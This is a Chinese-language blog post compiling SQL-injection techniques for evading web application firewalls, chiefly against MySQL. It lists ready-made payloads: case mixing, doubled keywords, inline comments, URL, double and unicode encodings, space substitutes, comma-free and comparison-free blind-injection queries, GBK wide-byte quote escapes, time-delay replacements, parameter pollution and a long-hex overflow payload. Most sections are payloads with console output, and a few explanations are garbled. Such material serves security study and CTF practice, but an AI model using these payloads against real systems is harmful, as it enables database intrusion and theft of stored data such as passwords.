keac's Bolg.

SQL注入绕过 方式总结

字数统计: 3.5k阅读时长: 15 min
2019/12/28 Share

接着上一篇文章讲一讲sql注入绕过

前言

select * from user where id = 1 union select 1,2,table_name from information_schema.tables···

上面这条sql语句,是一条正常的SQL注入语句。它的斜体是后台PHP进行的正常查询,斜体后面的语句则是我们的注入语句。不过实践中,肯定会存在WAF,会对我们输入的空格、SQL语句关键词做处理。那我今天要研究的就是,如何绕过WAF的检测过滤。

常见的bypass

  1. id=1+(UnIoN)+(SelECT)+
  2. id=1+(UnIoN+SeLeCT)+
  3. id=1+(UnI)(oN)+(SeL)(EcT)
  4. id=1+’UnI’’On’+’SeL’’ECT’ <-MySQL only
  5. id=1+’UnI’||’on’+SeLeCT’ <-MSSQL only

大小写绕过

常用于 waf的正则对大小写不敏感的情况,一般都是题目自己故意这样设计。 例如:waf 过滤了关键字select,可以尝试使用Select等绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
mysql> select * from users where id = -1 union select 1,2,3
-> ;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | 3 |
+----+----------+----------+
1 row in set (0.00 sec)


mysql> select * from users where id = -1 union Select 1,2,3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | 3 |
+----+----------+----------+

双写关键字绕过

在某一些简单的waf中,将关键字select等只使用replace()函数置换为空,这时候可以使用双写关键字绕过。例如select变成seleselectct,在经过waf的处理之后又变成select,达到绕过的要求。

conv(,10,36)代替字母

conv(10,10,36)是大写的A
lower(conv(10,10,36/16s))小写的a

限制与from的组合

用 from. 代替 from

如果遇到表名或者字段名是保留字

这个时候最好使用点号连接表名和字段名,或者直接使用反引号包起来

利用mysql 的特性

  1. 当使用自定义的不存在函数的时候就会报错显示出库的名字
    1
    2
    mysql> select * from users where id =a();
    ERROR 1305 (42000): FUNCTION security.a does not exist
  2. 当查找重复的列的是时候就会报错
1
2
pro_id=2 union select * from (select * from product_2017ctf as A join product_2017ctf as B using(pro_id)) as C
Duplicate column name 'pro_name'

注意: MySQL是兼容两个列相同的但是却不兼容在这个基础上再select * from

在列名被过滤的情况下得到结果

要在不出现字段名的情况下查出内容,将一个虚拟表和当前表联合起来即可

1
pro_id=-1 union select 1,a.4,3,4 from (select 1,2,3,4 from dual union select * from product_2017ctf)a limit 3,1;

特殊编码绕过

  • 十六进制绕过
1
2
3
4
5
6
mysql> select * from users where username = 0x7465737431;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | test1 | pass |
+----+----------+----------+
  • ascii 编码绕过

    Test 等价于 CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)

    tip: 好像新版 mysql 不能用了

URLEncode编码,ASCII,HEX,unicode编码绕过

  1. URL编码:or 1=1%6f%72%20%31%3d%31
  2. url双重编码; ?id=1%252f%252a\*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a\*/FROM%252f%252a\*/Users--+
  3. unicode编码

一些unicode编码举例:

单引号:’

1
2
3
4
%u0027 %u02b9 %u02bc
%u02c8 %u2032
%uff07 %c0%27
%c0%a7 %e0%80%a7

空白:

1
2
%u0020 %uff00
%c0%20 %c0%a0 %e0%80%a0

左括号(:

1
2
3
%u0028 %uff08
%c0%28 %c0%a8
%e0%80%a8

右括号):

1
2
3
%u0029 %uff09
%c0%29 %c0%a9
%e0%80%a9

内联注释绕过

内联注释就是把一些特有的仅在 MYSQL 上的语句放在 /!…/ 中,这样这些语句如果在其它数据库中是不会被执行,但在 MYSQL 中会执行。

1
2
3
4
5
6
mysql> select * from users where id = -1 union /*!select*/ 1,2,3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | 3 |
+----+----------+----------+

关键字替换

逗号绕过

substr、mid()函数中可以利用from to来摆脱对逗号的利用;

limit中可以利用offset来摆脱对逗号的利用

比较符号(>、<)绕过(greatest、between and)

过滤 or and xor not 绕过

1
2
3
4
and = &&
or = ||
xor = | # 异或
not = !

空格过滤绕过

一般绕过空格过滤的方法有以下几种方法来取代空格

  1. /**/或者/*1*/
  2. ()
  3. %0d %0a %0c %0b %a0
  4. +
  5. 回车(url编码中的%0a)
  6. `(tap键上面的按钮) (*无法使用)
  7. Tab
  8. 双写空格绕过
  9. 双写括号绕过
  10. 上面的编码试试
  11. 科学计数法绕过
    select Afrom B 默认from前面必须是空格,因此为了不让你使用from可能正则表达式会检测前面的空格,我们可以用科学计数法绕过,因为1e0后面可以没有空格

select A,1E0fromB

这里的逗号是两列的意思 1e0占了第二列,同样,上面的1E0可以用1.0代替

  1. \N 绕过 \N相当于NULL

select * from pass where id=\Nunion select 1,2, greatest((substr((select username from users limit 1 offset 0),1,1)),'v')in('v');

  1. id 与from在之间的空格绕过

select+id-1+1.from users;
select-id-1+3.from users;

注意:第二句得到的id将会是 -id+2

实例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
mysql> select/**/*/**/from/**/users;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | test1 | pass |
| 2 | user2 | pass1 |
| 3 | test3 | pass1 |
+----+----------+----------+

注意括号中不能含有*

mysql> select(id)from(users);
+----+
| id |
+----+
| 1 |
| 3 |

mysql> select
-> *
-> from
-> users
-> where
-> id = 1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | test1 | pass |
+----+----------+----------+

mysql> select`id`from`users`where`id`=1;
+----+
| id |
+----+
| 1 |
+----+

过滤等号 = 绕过

不加通配符的like

不加通配符的like执行的效果和=一致,所以可以用来绕过。
正常加上通配符的like:

1
2
3
4
5
6
7
mysql> select * from users where username like "test%";
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | test1 | pass |
| 3 | test3 | pass1 |
+----+----------+----------+

不加上通配符的like可以用来取代=:

1
2
3
4
5
6
mysql> select * from users where id like 1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | test1 | pass |
+----+----------+----------+

rlike

模糊匹配,只要字段的值中存在要查找的 部分 就会被选择出来 用来取代=时,rlike的用法和上面的like一样,没有通配符效果和=一样

1
2
3
4
5
6
mysql> select * from users where id rlike 1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | test1 | pass |
+----+----------+----------+

regexp

MySQL 中使用 REGEXP 操作符来进行正则表达式匹配

1
2
3
4
5
6
mysql> select * from users where id regexp 1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | test1 | pass |
+----+----------+----------+

使用大小于号来绕过

1
2
3
4
5
6
mysql> select * from users where id > 1 and id < 3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 2 | user2 | pass1 |
+----+----------+----------+

<>

<> 等价于 != 所以在前面再加一个!结果就是等号了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql> select * from users where !(id <> 1);
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | test1 | pass |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id = 1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | test1 | pass |
+----+----------+----------+
1 row in set (0.00 sec)

等号绕过也可以使用 strcmp(str1,str2) 函数、between 关键字等,具体可以参考后面的过滤大小于号绕过

过滤大小于号绕过

在 sql 盲注中,一般使用大小于号来判断 ascii 码值的大小来达到爆破的效果。但是如果过滤了大小于号的话,那就凉凉。怎么会呢,可以使用以下的关键字来绕过

greatest()

greatest(n1, n2, n3…): 返回 n 中的最大值

1
2
3
4
5
6
mysql> select * from users where id = 1 and greatest(ascii(substr(username,1,1)),1)=116;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | test1 | pass |
+----+----------+----------+

least()

least(n1,n2,n3…): 返回 n 中的最小值

strcmp()

strcmp(str1,str2): 若所有的字符串均相同,则返回 STRCMP(),若根据当前分类次序,第一个参数小于第二个,则返回 -1,其它情况返回 1

1
2
3
4
5
6
7
8
9
10
mysql> select * from users where id = 1 and strcmp(ascii(substr(username,1,1)),117);
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | test1 | pass |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id = 1 and strcmp(ascii(substr(username,1,1)),116);
Empty set (0.00 sec)

in 关键字

1
2
3
4
5
6
7
8
9
10
mysql> select * from users where id = 1 and substr(username,1,1) in ('t');
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | test1 | pass |
+----+----------+----------+
1 row in set (0.01 sec)

mysql> select * from users where id = 1 and substr(username,1,1) in ('y');
Empty set (0.00 sec)

between a and b

between a and b: 范围在 a-b 之间

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
mysql> select * from users where id between 1 and 2;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | test1 | pass |
| 2 | user2 | pass1 |
+----+----------+----------+
2 rows in set (0.00 sec)

mysql> select * from users where id = 1 and substr(username,1,1) between 'a' and 'b';
Empty set (0.00 sec)

mysql> select * from users where id = 1 and substr(username,1,1) between 'a' and 't';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | test1 | pass |
+----+----------+----------+
1 row in set (0.00 sec)

使用 between a and b 判等

1
2
3
4
5
6
mysql> select * from users where id = 1 and substr(username,1,1) between 't' and 't';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | test1 | pass |
+----+----------+----------+

利用过滤删除绕过

比如说他过滤了/**/(将其删除)又过滤了select那么我们可以这么写sel/**/ect.
意思就是被删除的可以加在另一个要删除的里面,这样不仅不会识别,删除后又还原了,实现绕过,这里面还包括双写被过滤字符的方法

+ - . 拆分字符串绕过

?id=1’ or ‘11+11’=’11+11’
-.

过滤引号绕过

使用十六进制

1
select column_name  from information_schema.tables where table_name=0x7573657273;

宽字节

常用在 web 应用使用的字符集为GBK时,并且过滤了引号,就可以试试宽字节。

简单的讲一下,一般当引号被过滤就会在引号前加一个\,将其转义失去作用,这样我们就不能闭合引号完成注入了。但是如果他的字符集设置为了双字节,也就是说两个字符可以代表一个中文的情况,那么我们就可以构造成一个中文字,\的url是%27我们在引号前写上%df,那么%df%27构成了中文的繁体运,引号就没有被过滤,成功绕过。当然不只是%df只要在那个字符集的范围内都可以。如%bf%27 %df%27 %aa%27

过滤单引号时

1
2
%bf%27 %df%27 %aa%27
%df\’ = %df%5c%27=縗’

过滤逗号绕过

sql 盲注时常用到以下的函数:

substr()

  • substr(string, pos, len): 从 pos 开始,取长度为 len 的子串
  • substr(string, pos): 从 pos 开始,取到 string 的最后

substring()

用法和substr()一样

mid()

用法和substr()一样,但是mid()是为了向下兼容VB6.0,已经过时,以上的几个函数的 pos 都是从 1 开始的

left() 和 right()

left(string, len) 和 right(string, len): 分别是从左或从右取 string 中长度为 len 的子串

limit

limit pos len: 在返回项中从 pos 开始去 len 个返回值,pos 的从 0 开始

ascii() 和 char()

  • ascii(char): 把 char 这个字符转为 ascii 码
  • char(ascii_int): 和 ascii() 的作用相反,将 ascii 码转字符

反引号绕过

可以用来过空格和正则,特殊情况下还可以将其做注释符用(单行或多行注释)实际上是mysql别名的用法详见大佬雨神的博客

举例

回到正题,如果 waf 过滤了逗号,并且只能盲注(盲注基本离不开逗号啊。。),在取子串的几个函数中,有一个替代逗号的方法就是使用from pos for len,其中 pos 代表从 pos 个开始读取 len 长度的子串 例如在substr()等函数中,常规的写法是

1
2
3
4
5
6
mysql> select substr("string",1,3);
+----------------------+
| substr("string",1,3) |
+----------------------+
| str |
+----------------------+

如果过滤了逗号,可以这样使用from pos for len来取代

1
2
3
4
5
6
7
mysql> select substr("string" from 1 for 3);
+-------------------------------+
| substr("string" from 1 for 3) |
+-------------------------------+
| str |
+-------------------------------+
1 row in set (0.00 sec)

在 sql 盲注中,如果过滤逗号,以下参考下面的写法绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
mysql> select ascii(substr(database() from 1 for 1)) > 120;
+----------------------------------------------+
| ascii(substr(database() from 1 for 1)) > 120 |
+----------------------------------------------+
| 0 |
+----------------------------------------------+
1 row in set (0.00 sec)

mysql> select ascii(substr(database() from 1 for 1)) > 110;
+----------------------------------------------+
| ascii(substr(database() from 1 for 1)) > 110 |
+----------------------------------------------+
| 1 |
+----------------------------------------------+

也可使用join关键字来绕过

1
2
3
4
5
6
7
8
9
mysql> select * from users  union select * from (select 1)a join (select 2)b join(select 3)c;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | test1 | pass |
| 2 | user2 | pass1 |
| 3 | test3 | pass1 |
| 1 | 2 | 3 |
+----+----------+----------+

其中的

union select * from (select 1)a join (select 2)b join(select 3)c

等价于
union select 1,2,3

使用like关键字 适用于substr()等提取子串的函数中的逗号

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
mysql> select ascii(substr(user(),1,1))=114;
+-------------------------------+
| ascii(substr(user(),1,1))=114 |
+-------------------------------+
| 1 |
+-------------------------------+

mysql> select user() like "r%";
+------------------+
| user() like "r%" |
+------------------+
| 1 |
+------------------+

mysql> select user() like "t%";
+------------------+
| user() like "t%" |
+------------------+
| 0 |
+------------------+

使用 offset 关键字 适用于limit中的逗号被过滤的情况 limit 2,1等价于limit 1 offset 2

1
2
3
4
5
6
7
8
9
10
11
12
13
mysql> select * from users limit 2,1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 3 | test3 | pass1 |
+----+----------+----------+

mysql> select * from users limit 1 offset 2;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 3 | test3 | pass1 |
+----+----------+----------+

过滤函数绕过

  • sleep() –>benchmark()
1
2
3
4
5
6
7
mysql> select 12,23 and sleep(1);
+----+-----------------+
| 12 | 23 and sleep(1) |
+----+-----------------+
| 12 | 0 |
+----+-----------------+
1 row in set (1.00 sec)

MySQL有一个内置的BENCHMARK()函数,可以测试某些特定操作的执行速度。

BENCHMARK()函数重复countTimes次执行表达式expr,执行的时间长了,也达到了sleep的作用。

参数可以是需要执行的次数和表达式。第一个参数是执行次数,第二个执行的表达式

1
2
3
4
5
6
7
mysql> select 12,23 and benchmark(1000000000,1);
+----+--------------------------------+
| 12 | 23 and benchmark(1000000000,1) |
+----+--------------------------------+
| 12 | 0 |
+----+--------------------------------+
1 row in set (4.61 sec)

在sqlsever 中用 waitfor delay

在Oracle 中用 DBMS_PIPE.RECEIVE_MESSAGE()函数和CASEWHEN„THEN„语句

  • ascii()–>hex()、bin() 替代之后再使用对应的进制转 string 即可

  • group_concat()–>concat_ws()

1
2
3
4
5
6
7
mysql> select group_concat("str1","str2");
+-----------------------------+
| group_concat("str1","str2") |
+-----------------------------+
| str1str2 |
+-----------------------------+
1 row in set (0.00 sec)
  • substr(),substring(),mid() 可以相互取代, 取子串的函数还有 left(),right()

  • user() –> @@user、datadir–>@@datadir

  • ord()–>ascii(): 这两个函数在处理英文时效果一样,但是处理中文等时不一致。

  • hex()、bin()=ascii()

  • concat_ws()=group_concat()

  • mid()、substr()=substring()

  • @@user ==> user()

  • @@datadir ==> datadir()

  • @@version ==> version()

  • http参数污染(id=1 union select+1,2,3+from+users+where+id=1–变为

    1
    id=1 union select+1&id=2,3+from+users+where+id=1– `)
  • 第一个参数为分隔符

1
2
3
4
5
6
mysql> select concat_ws(",","str1","str2");
+------------------------------+
| concat_ws(",","str1","str2") |
+------------------------------+
| str1,str2 |
+------------------------------+

缓冲区溢出绕过

1
(id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 ,27,28,29,30,31,32,33,34,35,36–+

其中0xAAAAAAAAAAAAAAAAAAAAA这里A越多越好。一般会存在临界值其实这种方法还对后缀名的绕过也有用)

参考

yulegeyu博客

runoob SQL 教程

sql注入绕过方法总结

CATALOG
  1. 1. 前言
  2. 2. 常见的bypass
  3. 3. 大小写绕过
  4. 4. 双写关键字绕过
  5. 5. conv(,10,36)代替字母
  6. 6. 限制与from的组合
  7. 7. 如果遇到表名或者字段名是保留字
  8. 8. 利用mysql 的特性
  9. 9. 在列名被过滤的情况下得到结果
  10. 10. 特殊编码绕过
  11. 11. 内联注释绕过
  12. 12. 过滤 or and xor not 绕过
  13. 13. 空格过滤绕过
  14. 14. 过滤等号 = 绕过
    1. 14.1. 不加通配符的like
    2. 14.2. rlike
    3. 14.3. regexp
    4. 14.4. 使用大小于号来绕过
    5. 14.5. <>
  15. 15. 过滤大小于号绕过
    1. 15.1. greatest()
    2. 15.2. least()
    3. 15.3. strcmp()
    4. 15.4. in 关键字
    5. 15.5. between a and b
  16. 16. 利用过滤删除绕过
  17. 17. + - . 拆分字符串绕过
  18. 18. 过滤引号绕过
    1. 18.1. 使用十六进制
    2. 18.2. 宽字节
    3. 18.3. 过滤单引号时
  19. 19. 过滤逗号绕过
    1. 19.1. substr()
    2. 19.2. substring()
    3. 19.3. mid()
    4. 19.4. left() 和 right()
    5. 19.5. limit
    6. 19.6. ascii() 和 char()
    7. 19.7. 反引号绕过
    8. 19.8. 举例
  20. 20. 过滤函数绕过
  21. 21. 缓冲区溢出绕过
  22. 22. 参考